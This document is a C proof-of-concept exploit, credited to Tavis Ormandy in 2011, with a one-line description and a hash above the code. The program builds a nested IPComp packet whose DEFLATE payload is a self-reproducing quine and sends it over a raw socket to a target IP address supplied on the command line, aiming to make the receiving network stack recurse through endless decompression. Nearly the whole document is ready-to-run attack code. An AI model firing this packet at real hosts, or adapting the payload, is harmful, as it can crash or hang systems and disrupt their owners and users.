Proof of concept exploit that demonstrates a nested IPComp encapsulation with DEFLATE LZ77 RFC1951 Quine.
890c49f5f83061ea954fb9a23339ca60ca0ebf9314977eb3e612ab32b4f695ad
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <zlib.h>
#include <alloca.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
//
// Nested IPComp Encapsulation with DEFLATE LZ77 RFC1951 Quine.
//
// The technique used to generate this payload is documented here:
//
// https://research.swtch.com/2010/03/zip-files-all-way-down.html
//
// -- Tavis Ormandy <taviso@cmpxchg8b.com>, March 2011
//
// Special thanks to rsc and Matthew Dempsky.
//
enum {
IPCOMP_OUI = 1,
IPCOMP_DEFLATE = 2,
IPCOMP_LZS = 3,
IPCOMP_MAX,
};
int main(int argc, char **argv)
{
int s;
struct sockaddr_in sin = {0};
struct __attribute__((packed)) {
uint8_t comp_nxt; // Next Header
uint8_t comp_flags; // Reserved, must be zero
uint16_t comp_cpi; // Compression parameter index
uint8_t comp_data[180]; // Payload
} ipcomp = {
.comp_nxt = IPPROTO_COMP,
.comp_flags = 0,
.comp_cpi = htons(IPCOMP_DEFLATE),
.comp_data = {
0xca, 0x61, 0x60, 0x60, 0x02, 0x00, 0x0a, 0x00, 0xf5, 0xff,
0xca, 0x61, 0x60, 0x60, 0x02, 0x00, 0x0a, 0x00, 0xf5, 0xff,
0x02, 0xb3, 0xc0, 0x2c, 0x00, 0x00, 0x05, 0x00, 0xfa, 0xff,
0x02, 0xb3, 0xc0, 0x2c, 0x00, 0x00, 0x05, 0x00, 0xfa, 0xff,
0x00, 0x05, 0x00, 0xfa, 0xff, 0x00, 0x14, 0x00, 0xeb, 0xff,
0x02, 0xb3, 0xc0, 0x2c, 0x00, 0x00, 0x05, 0x00, 0xfa, 0xff,
0x00, 0x05, 0x00, 0xfa, 0xff, 0x00, 0x14, 0x00, 0xeb, 0xff,
0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x14, 0x00, 0xeb, 0xff,
0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x14, 0x00, 0xeb, 0xff,
0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x14, 0x00, 0xeb, 0xff,
0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x14, 0x00, 0xeb, 0xff,
0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff,
0x00, 0x00, 0x00, 0xff, 0xff, 0x00, 0x0f, 0x00, 0xf0, 0xff,
0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff,
0x00, 0x00, 0x00, 0xff, 0xff, 0x00, 0x0f, 0x00, 0xf0, 0xff,
0x82, 0x72, 0x61, 0x5c, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff,
0x01, 0x00, 0x00, 0xff, 0xff, 0x82, 0x72, 0x61, 0x5c, 0x00,
0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00, 0x00, 0xff, 0xff
}
};
sin.sin_family = AF_INET;
sin.sin_port = htons(0);
sin.sin_addr.s_addr = inet_addr(argv[1]);
if ((s = socket(PF_INET, SOCK_RAW, IPPROTO_COMP)) < 0) {
fprintf(stderr, "error: failed to create socket, %m\n");
return 1;
}
if (sendto(s,
&ipcomp,
sizeof(ipcomp),
MSG_NOSIGNAL,
(const struct sockaddr *)(&sin),
sizeof(sin)) != sizeof(ipcomp)) {
fprintf(stderr, "error: send() returned failure, %m\n");
return 1;
}
fprintf(stdout, "info: success, packet sent to %s\n", argv[1]);
return 0;
}